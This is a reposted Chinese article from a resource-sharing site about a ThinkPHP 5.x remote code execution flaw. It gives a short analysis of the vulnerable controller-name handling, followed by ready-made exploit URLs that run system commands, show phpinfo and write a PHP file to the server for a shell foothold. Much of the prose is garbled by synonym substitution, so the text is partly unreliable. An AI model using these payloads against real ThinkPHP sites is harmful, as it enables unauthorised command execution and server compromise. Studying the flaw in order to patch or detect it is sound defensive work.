• 全都有综合资源网

    分享赚钱

    一个专业的免费资源网

    每天更新100+优质资源

  • 手机版二维码

    随时手机查素材

  • 扫描二维码

    加入官方微信群

一个ThinkPHP 远程命令执行漏洞利用(GetShell)的分享

技术文章 每日更新
2024-6-5 22:54 46人浏览 0人回复
原作者: 全都有综合资源网 来自: 全都有综合资源网 收藏 分享 邀请
摘要

漏洞分析:因为框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell 漏洞,受影响的版本(v5.0.23 及 v5.1.31 以下版本),所以尽量尽快的更新到最新版本。文件:thinkphp/library/think ...

 

缝隙分析:

由于框架对控制器名没有停止充足的检测会致使在没有开启强迫路由的情况下能够的getshell 缝隙受影响的版本(v5.0.23 及 v5.1.31 以下版本),所以只管尽快的更新到最新版本。

文件:thinkphp/library/think/App.php

layui-box layui-code-view" style="margin-top: 0px; margin-bottom: 5px; padding: 15px; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); white-space: pre-wrap; overflow-wrap: break-word; box-sizing: inherit; position: relative; font-size: 15px; border: 1px solid rgb(209, 209, 209); background-color: rgb(255, 255, 255); color: rgb(68, 68, 68); font-family: inherit; outline: 0px; vertical-align: baseline; line-height: 28.5px; max-width: 100%; overflow: auto; word-break: break-all;">

code

  1. // 获得控制器名
  2. $controller       = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

在修复之前法式未对控制器停止过滤,致使进犯者可以经过引入“\”标记来挪用肆意类方式。

缝隙道理:

现在我们先来说下,5.0 跟 5.1 的区分吧,tp5.1 中引入了容器(Container)和门面(Facade)这两个新的类  tp5.0 是没有这两个新的类的。

然后来看看 App 类里的 exec 函数里的履行分层控制器的操纵:

code

  1. case 'controller': // 履行控制器操纵
  2. $vars = array_merge(Request::instance()->param(), $dispatch['var']);
  3. $data = Loader::action(
  4. $dispatch['controller'],
  5. $vars,
  6. $config['url_controller_layer'],
  7. $config['controller_suffix']
  8. );
  9. break;

这里我们是把 controller 的挪用信息跟设置信息全数传到了 invokeFunction 这个 履行函数里面去了

code

  1. public static function invokeFunction($function, $vars = [])
  2. {
  3. $reflect = new \ReflectionFunction($function);
  4. $args    = self::bindParams($reflect, $vars);
  5. // 记录履行信息
  6. self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
  7. return $reflect->invokeArgs($args);
  8. }

由于 think\App 是第二个进口,在 tp 运转的时辰就会被加载 所以用 think\App 里面的分层控制器的履行操纵的时辰,需要去挪用 invokeFunction 这个函数。

这个函数有两个参数,跟上面图显现一样,第一个是函数的名字,第二个参数数组,比如$function 传入 baidu 然后$vars 传入[111,222]就相当于挪用 baidu(111,222)

缝隙操纵:

1.履行系统号令显现目录下文件:

code

  1. Linux:
  2. http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
  3. WIN:
  4. http://www.mysite.com/index.php?s=/index/\think\request/cache&key=ls%20-l|system

一个ThinkPHP 远程号令履行缝隙操纵(GetShell)的分享91 作者:全都有综合资本网 来历:全都有综合资本网 公布时候:2024-6-5 22:54

2.履行 phpinfo

code

  1. Linux:
  2. http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
  3. WIN:
  4. http://www.mysite.com/index.php?s=/index/\think\request/cache&key=1|phpinfo

一个ThinkPHP 远程号令履行缝隙操纵(GetShell)的分享7751 作者:全都有综合资本网 来历:全都有综合资本网 公布时候:2024-6-5 22:54

3.写入 info.php 文件

code

  1. 方式 1:
  2. http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20info.php
  3. 方式 2:
  4. http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E

拜候 info.php

一个ThinkPHP 远程号令履行缝隙操纵(GetShell)的分享5114 作者:全都有综合资本网 来历:全都有综合资本网 公布时候:2024-6-5 22:54


©版权免责声明
1、本站所有资源均来自用户上传及互联网。 如有侵权,请联系站长!
2、分享目的仅供大家学习交流。 下载后必须在24小时内删除!
3、不得用于非法商业目的或违反国家法律。 否则,后果自负!
4、本站提供的源代码、模板、插件等资源不包含技术服务。 敬请谅解!
5.如果出现无法下载、无效或有广告的链接,请联系管理员寻求帮助!
6、本站资源价格仅用于赞助,所收取的费用仅用于维持本站日常运营!
7、如果遇到加密压缩包,请使用WINRAR解压。 如果遇到无法解压的加密压缩包,请联系管理员!
8、由于精力有限,很多源代码无法详细测试(解密),部分源代码无法区分为病毒或误报,所以没有进行修改。 请在使用前进行筛选。

路过

雷人

握手

鲜花

鸡蛋
热门教程
专业的免费源码资源分享平台
每天更新100+资源

招募版主发工资

  • 官方在线客服

    QQ客服:红颜

    点击交谈

    在线客服:良子

    点击交谈

    在线客服:闵月

    点击交谈
  • 上海市虹口区海伦中心B座4F4055-4056室

  • 手机扫码查看手机版

    手机查找资源更方便

  • 扫一扫关注官方微信公众号

    加入官方微信

一个专业的免费源码资源互联网分享平台 ©2001-2024 https://www.douyouvip.com全都有综合资源网( 豫ICP备2024057239号-1 )赞助会员|网站地图 HTML
全都有综合资源网,WordPress主题PHP源码,PHP网站源码,网站模板,软件源码,网站源码免费下载,免费网站源码,网站源码模板,免费网站源码下载,wp免费源码,wp免费主题下载,PHP企业网站源码,软件源码下载